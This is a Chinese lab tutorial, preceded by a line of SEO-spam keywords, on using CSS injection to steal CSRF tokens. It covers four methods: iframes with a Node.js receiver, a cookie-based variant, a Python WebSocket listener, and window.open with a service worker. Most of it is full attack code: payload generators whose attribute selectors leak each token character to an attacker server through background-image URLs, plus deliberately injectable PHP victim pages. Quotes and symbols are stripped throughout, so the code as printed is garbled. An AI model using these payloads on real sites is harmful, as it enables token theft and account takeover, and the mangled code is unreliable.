手机商城网站建设策划方案范文,聊城做网站价格,一个女的让我和她做优惠网站,用php做网站的开发工具目录
CSS注入窃取标签属性数据
简单的一个实验#xff1a;
解决hidden
方法1#xff1a;jsnode.js实现
侧信道攻击
方法2#xff1a;对比波兰研究院的方案
使用兄弟选择器
方法3#xff1a;jswebsocket实现CSS注入
实验实现#xff1a;
方法4#xff1a;window…目录
CSS注入窃取标签属性数据
简单的一个实验
解决hidden
方法1jsnode.js实现
侧信道攻击
方法2对比波兰研究院的方案
使用兄弟选择器
方法3jswebsocket实现CSS注入
实验实现
方法4window.open结合serviceworker
实验验证 现代浏览器都已经不允许在CSS中执行JavaScript了以前的CSS注入可以利用JavaScript协议在url、expression中执行JavaScript代码从而实现XSS。
但是目前CSS注入在窃取数据方面仍然非常有用的下面分别来分析一下CSS注入 窃取标签属性数据CSS中可以使用数据选择器根据不同的属性选择标签。
例
style
p[aabc]{color :red ;}
/style
p aabchello world/p
数据选择器还可以匹配一些特征比如xxx开头或者xxx结尾等。 CSS注入窃取标签属性数据
利用上面的性质我们可以看出来窃取页面标签属性中的数据比如下面当csrfToken以某个字母开头时可以通过url通知攻击者从而窃取csrfToken的第一位的值
简单的一个实验
在CSSinject目录下面新建
1css.html
!DOCTYPE html
html langen
headmeta charsetUTF-8meta http-equivX-UA-Compatible contentIEedgemeta nameviewport contentwidthdevice-width, initial-scale1.0titleCSS/titlelink relstylesheet href./css.css!-- 这里将css样式引入到hmtl页面中 --
/head
body
input typetext namecsrf valueabcdef;
/body
/html
这里首先引入了css.css样式 然后有一个输入名为csrf值为abcdef
2css.css
input[namecsrf][value^a] {background: url(https://www.baidu.com);
}
这里就是通过标签选择器选择到了namecsrf并且value是以a开头的输入给它 设置一个背景背景的URL是www.baidu.com
3测试 这里查看很明显成功的访问了
解决hidden
当然还有个问题当标签typehidden时浏览器是不允许我们设置background的这样就无法触发
url请求服务器解决方法之一是利用~CSS的兄弟选择器必须是同一个父母选择为后续所
有兄弟节点设置background。
方法1jsnode.js实现
侧信道攻击
1css.html !DOCTYPE html
html langen
headmeta charsetUTF-8meta http-equivX-UA-Compatible contentIEedgemeta nameviewport contentwidthdevice-width, initial-scale1.0title侧信道攻击/title
/head
style#frames {visibility: hidden;}
/style
bodydiv idcurrent/divdiv idtime_to_next/divdiv idframes/div
/body
scriptvuln_url http://www.security.com/css.php?css;server_receive_token_url http://127.0.0.1:8083/receive/;server_return_token_url http://127.0.0.1:8083/return;chars ABCDEFGHIJKLMOPQRSTUVWXYZabcdefghigklimnopqrstuvwxyz1234567890.split();//md5其实全部都是小写的英文这里完全可以将这些大写的英文删除掉known ;function test_char(known, chars) {document.getElementById(frames).innerHTML ;css build_css(chars.map(v known v));frame document.createElement(iframe);frame.src vuln_url css;frame.style visibility:hidden;;document.getElementById(frames).appendChild(frame);
setTimeout(function () {//监听var oReq new XMLHttpRequest();oReq.addEventListener(load, known_listener);oReq.open(GET, server_return_token_url);oReq.send();}, 1000);}function build_css(values) {//拼接css_payload ;for (var value in values) {css_payload input[value^\ values[value] \]{background-image:url( server_receive_token_url values[value] )%3B};}return css_payload;}function known_listener() {//请求document.getElementById(current).innerHTML Current Token: this.responseText;if (known ! this.responseText) {known this.responseText;test_char(known, chars);}else {known this.responseText;alert(CSRF token is : known);}}test_char(, chars);
/script
/html
2css.css
input[namecsrf][value^0] {background: url(https://www.baidu.com);
}
3css.php
?php
$token1md5($_SERVER[HTTP_USER_AGENT]); //使用头部的一个字段生成了一段md5值
$token2md5($token1); //这里将token1的值赋值给了token2
?
!doctype htmlmeta charsetutf-8
input value?$token1?
script
var TOKEN?$token2?;
/script
style
?preg_replace(#/style#i,#, $_GET[css])?
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
/style
4css.js
首先需要一个服务端用来存储生成的md5值
var express require(express);
var app express();
var path require(path);
var token ;
//采用CORS实现跨域允许被攻击页面向服务器发送请求
app.all(*, function (req, res, next) {//设置允许跨域的域名*代表允许任意域名跨域res.header(Access-Control-Allow-Origin, *);res.header(Access-Control-Allow-Methods, PUT,POST,GET,DELETE,OPTIONS);res.header(Access-Control-Allow-Credentials, true);next()
})
//处理receive页面请求 --- 接收参数token
app.get(/receive/:token, function (req, res) {token req.params.token;console.log(token)res.send(ok);
});
//return页面请求向客户端返回刚获取到的token
app.get(/return, function (req, res) {res.send(token);
});
//返回恶意页面
app.get(/css.html, function (req, res) {res.sendFile(path.join(__dirname, css.html));
})
//配置本地服务器
var server app.listen(8083, function () {var host server.address().addressvar port server.address().portconsole.log(Example app listening at http://%s:%s, host, port)
})
5测试
首先模拟服务端使用node运行css.js 然后在浏览器中输入www.security.com/css.html 可以看到成功的爆破出了服务端生成的随机Token
那再看看服务端
服务端这里也将Token的值逐步的打印了出来
结论使用iframe将受害页面包含进来可以对其进行CSS注入。
获取tokentoken存储位置服务端创建变量token转发给客户端并且将token数值打印输出到服务端。
方法2对比波兰研究院的方案
1css.html
!doctype html
meta charsetutf-8
script src./css.js/script
big idtoken/bigbr
iframe idiframe/iframe
script(async function () {const EXPECTED_TOKEN_LENGTH 32;const ALPHABET Array.from(0123456789abcdef);const iframe document.getElementById(iframe);let extractedToken ;
while (extractedToken.length EXPECTED_TOKEN_LENGTH) {clearTokenCookie(); //清空cookiecreateIframeWithCss();extractedToken await getTokenFromCookie();
document.getElementById(token).textContent extractedToken;}
function getTokenFromCookie() {return new Promise(resolve {const interval setInterval(function () { //一直执行直到cookie的值取出来const token Cookies.get(token); //直接使用cookie获取tokenif (token) {clearInterval(interval);resolve(token);}}, 50);});}
function clearTokenCookie() {Cookies.remove(token);}
function generateCSS() {let css ;for (let char of ALPHABET) {css input[value^${extractedToken}${char}] {
background: url(http://127.0.0.01:3000/token/${extractedToken}${char})
};}
return css;}function createIframeWithCss() {iframe.src http://www.security.com/css.php/?css encodeURIComponent(generateCSS());}
})();
/script
2css.js
const express require(express);
const app express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable(etag);
const PORT 3000;
// Obsługa zapytania przyjmującego token jako połączenie
// zwrotne.
app.get(/token/:token, (req, res) {const { token } req.params;
// W odpowiedzi po prostu ustawiane jest ciasteczko o nazwie// token i tej samej wartości, która została przekazana w URL-ures.cookie(token, token);console.log(token);res.send();
});
app.get(/css.js, (req, res) {res.sendFile(js.cookie.js, {root: ./node_modules/js-cookie/src/});
});
app.get(/css.html, (req, res) {res.sendFile(index.html, {root: .});
});
app.listen(PORT, () {console.log(Listening on ${PORT}...);
})
3css.css
input[namecsrf][value^0] {background: url(https://www.baidu.com);
}
4css.php
?php
$token1md5($_SERVER[HTTP_USER_AGENT]); //使用头部的一个字段生成了一段md5值
$token2md5($token1); //这里将token1的值赋值给了token2
?
!doctype htmlmeta charsetutf-8
input value?$token1?
script
var TOKEN?$token2?;
/script
style
?preg_replace(#/style#i,#, $_GET[css])?
/* 这里 */
/* 如果遇到了style,并且忽略大小写,将其替换#,防止闭合style标签 */
/style
5安装js-cookie库
在VScode中创建一个名为package.json文件并且将以下内容进行写入
{name: css-attack-1,version: 1.0.0,description: ,main: index.js,dependencies: {express: ^4.15.5,js-cookie: ^2.1.4},devDependencies: {},author: ,license: ISC
}
进入CMD命令行移动到对应目录下npm install
6这时候使用node监控 3000端口 7监控完成后这时候就可以尝试访问www.security.com/css.html 可以看到成功的爆出了Token的值
服务端 注如果访问不成功可以尝试换一个浏览器再次尝试访问
使用兄弟选择器
这里可以尝试将php中的input中修改类型为hidden然后再尝试访问就会发现访问失败
input typehidden?$token1? //修改后
input type?$token1? //原
再次访问 可以看到这个现在没有了输入框。因此无法爆出Token值
解决办法使用兄弟元素
css.php文件
input typehidden?$token1? //原
input typetext?$token1? //增加的
css.html文件 测试 可以看到成功的拿到了Token
方法3jswebsocket实现CSS注入 实验实现
1websocket服务端
使用paycharm软件
需要进行WebSocketServer导包
pip install SimpleWebSocketServer 我这里因为之前已经导入过了所以没有下载
2服务端配置
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
PORT_HTTP 8008
PORT_WS 8000class RequestHandler(BaseHTTPRequestHandler, WebSocket):def do_GET(self):Respond to a GET request.print(http GET request)self.send_response(200)self.end_headers()ws.sendMessage(self.path)returnclass ThreadedHTTPServer(ThreadingMixIn, HTTPServer):Handle requests in a separate thread.class SimpleEcho(WebSocket):def handleMessage(self):# echo message back to clientprint(self.address, new msg)#self.sendMessage(self.data)def handleConnected(self):print(self.address, connected, opening http server)global wsws selfhttpd ThreadedHTTPServer((, PORT_HTTP), RequestHandler)server_thread Thread(targethttpd.serve_forever)server_thread.daemon Trueserver_thread.start()print(http is on 8000,and ws is on 8008:)def handleClose(self):print(self.address, closed)server SimpleWebSocketServer(, PORT_WS, SimpleEcho)
server.serveforever()3js_websocket.html
!DOCTYPE html
html langen
headmeta charsetUTF-8meta http-equivX-UA-Compatible contentIEedgemeta nameviewport contentwidthdevice-width, initial-scale1.0titleDocument/title
/head
bodydiv iddiv/diviframe idleakchar/iframe
/body
scriptconst WS ws://127.0.0.1:8000;const HTTP http://127.0.0.1:8008;const ALPHABET Array.from(0123456789abcdef);var s new WebSocket(WS);
s.onopen function (event) {console.log(connection open);next();}s.onmessage function (event) {let token event.data.match(/\w/)[0];next(token);}s.onclose function (event) {console.log(bye);}
function next(token) {if (token.length 32) {console.log(leaking token * ...);document.getElementById(leakchar).src http://www.security.com/CSSinject/js_websocket.php?css generateCSS(token);} else {console.log(done, lets pwn);changeEmail(token);}}
function generateCSS(token) {let css ;for (let char of ALPHABET) {css input[value^${token}${char}] ~*{background: url(http://127.0.0.1:8008/${token}${char})};}
return css;}
function changeEmail(token) {var div document.getElementById(div);div.innerHTML token;}
/script
/html
4js_websocket.php
?php
$token1 md5($_SERVER[HTTP_USER_AGENT]);
$token2 md5($token1);
var_dump($token2);
?
!doctype htmlmeta charsetutf-8
input namecsrf typehidden value?$token2 ?
input
script
var TOKEN ?$token2 ?;
/script
style
/* 正则替换style闭合标签防止恶意闭合get方法获取css参数 */
?preg_replace(#/style#i, #, $_GET[css]) ?
/style
5测试
首先开启pytcharm运行服务器 然后浏览器尝试访问127.0.0.1/CSSinject/js_websocket.html
浏览器返回 pytcharm返回 可以看到成功的拿到了Token
方法4window.open结合serviceworker
github上下载软件包
GitHub - dxa4481/cssInjection: Stealing CSRF tokens with CSS injection (without iFrames)
实验验证
1attacker.html
html
body onclickpotatoes(0)click somewhere to begin attack/body
script(function () {if (serviceWorker in navigator) {navigator.serviceWorker.register(./sw.js);}})()//这里注册时加载sw.js注册后就可以监听到了localStorage.removeItem(csrfToken);var potatoes function (count) {var csrfToken localStorage.getItem(csrfToken);if (!csrfToken) { //第二次csrfToken ;}var css #sensitiveForm input[value^${csrfToken}a] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}a); } #sensitiveForm input[value^${csrfToken}b] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}b); } #sensitiveForm input[value^${csrfToken}c] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}c); } #sensitiveForm input[value^${csrfToken}d] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}d); } #sensitiveForm input[value^${csrfToken}e] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}e); } #sensitiveForm input[value^${csrfToken}f] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}f); } #sensitiveForm input[value^${csrfToken}g] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}g); } #sensitiveForm input[value^${csrfToken}h] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}h); } #sensitiveForm input[value^${csrfToken}i] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}i); } #sensitiveForm input[value^${csrfToken}j] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}j); } #sensitiveForm input[value^${csrfToken}k] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}k); } #sensitiveForm input[value^${csrfToken}l] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}l); } #sensitiveForm input[value^${csrfToken}m] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}m); } #sensitiveForm input[value^${csrfToken}n] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}n); } #sensitiveForm input[value^${csrfToken}o] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}o); } #sensitiveForm input[value^${csrfToken}p] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}p); } #sensitiveForm input[value^${csrfToken}q] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}q); } #sensitiveForm input[value^${csrfToken}r] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}r); } #sensitiveForm input[value^${csrfToken}s] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}s); } #sensitiveForm input[value^${csrfToken}t] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}t); } #sensitiveForm input[value^${csrfToken}u] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}u); } #sensitiveForm input[value^${csrfToken}v] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}v); } #sensitiveForm input[value^${csrfToken}w] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}w); } #sensitiveForm input[value^${csrfToken}x] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}x); } #sensitiveForm input[value^${csrfToken}y] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}y); } #sensitiveForm input[value^${csrfToken}z] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}z); } #sensitiveForm input[value^${csrfToken}A] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}A); } #sensitiveForm input[value^${csrfToken}B] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}B); } #sensitiveForm input[value^${csrfToken}C] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}C); } #sensitiveForm input[value^${csrfToken}D] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}D); } #sensitiveForm input[value^${csrfToken}E] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}E); } #sensitiveForm input[value^${csrfToken}F] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}F); } #sensitiveForm input[value^${csrfToken}G] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}G); } #sensitiveForm input[value^${csrfToken}H] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}H); } #sensitiveForm input[value^${csrfToken}I] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}I); } #sensitiveForm input[value^${csrfToken}J] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}J); } #sensitiveForm input[value^${csrfToken}K] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}K); } #sensitiveForm input[value^${csrfToken}L] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}L); } #sensitiveForm input[value^${csrfToken}M] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}M); } #sensitiveForm input[value^${csrfToken}N] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}N); } #sensitiveForm input[value^${csrfToken}O] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}O); } #sensitiveForm input[value^${csrfToken}P] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}P); } #sensitiveForm input[value^${csrfToken}Q] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Q); } #sensitiveForm input[value^${csrfToken}R] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}R); } #sensitiveForm input[value^${csrfToken}S] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}S); } #sensitiveForm input[value^${csrfToken}T] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}T); } #sensitiveForm input[value^${csrfToken}U] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}U); } #sensitiveForm input[value^${csrfToken}V] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}V); } #sensitiveForm input[value^${csrfToken}W] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}W); } #sensitiveForm input[value^${csrfToken}X] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}X); } #sensitiveForm input[value^${csrfToken}Y] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Y); } #sensitiveForm input[value^${csrfToken}Z] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}Z); } #sensitiveForm input[value^${csrfToken}0] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}0); } #sensitiveForm input[value^${csrfToken}1] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}1); } #sensitiveForm input[value^${csrfToken}2] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}2); } #sensitiveForm input[value^${csrfToken}3] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}3); } #sensitiveForm input[value^${csrfToken}4] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}4); } #sensitiveForm input[value^${csrfToken}5] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}5); } #sensitiveForm input[value^${csrfToken}6] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}6); } #sensitiveForm input[value^${csrfToken}7] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}7); } #sensitiveForm input[value^${csrfToken}8] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}8); } #sensitiveForm input[value^${csrfToken}9] { background-image: url(http://127.0.0.1/openlab/cssinjection/log.php/${csrfToken}9); }var win2 window.open(http://127.0.0.1/openlab/cssinjection/index.php, f, top100000,left100000,menubar1,resizable1,width1,height1)var win2 window.open(http://127.0.0.1/openlab/cssinjection/victim.html?injection${css}, f, top100000,left100000,menubar1,resizable1,width1,height1)win2.blur();var newCount count 1;if (csrfToken.length 20) {return null;}setTimeout(function () {potatoes(newCount);}, 2000);}window.addEventListener(storage, function (e) { //监听storage事件if (e.key csrfToken) {document.getElementById(CSRFToken).innerHTML e.newValue;}});
/script
/br
The CSRF token is:
div idCSRFToken/div
/html
2mockingTheBackend.js
navigator.serviceWorker.addEventListener(message, receiveMessage);
function receiveMessage(event) {console.log(got message);localStorage.setItem(csrfToken, event.data);
}
3sw.js
self.addEventListener(fetch, function (event) { //监听fetch事件就是var urlLogged event.request.url; //监听到请求if (urlLogged.indexOf(/log.php/) 0 urlLogged.indexOf(victim) -1) {//这里这里是否有log.php并且是否有请求页面var splitted urlLogged.split(/log.php/);var csrfToken splitted[splitted.length - 1];console.log(csrfToken);self.clients.matchAll().then(all all.map(client client.postMessage(csrfToken))); //}
});
4victim.html
html
form actionhttp://127.0.0.1 idsensitiveForminput idsecret namesecret valuedJ7cwON4BMyQi3Nrq26i
/form
scriptvar fragment decodeURIComponent(window.location.href.split(?injection)[1]);var htmlEncode fragment.replace(//g, lt;).replace(//g, gt;);document.write(style htmlEncode /style);
/script
script src./mockingTheBackend.js/script
/html
5测试
未点击前 点击后: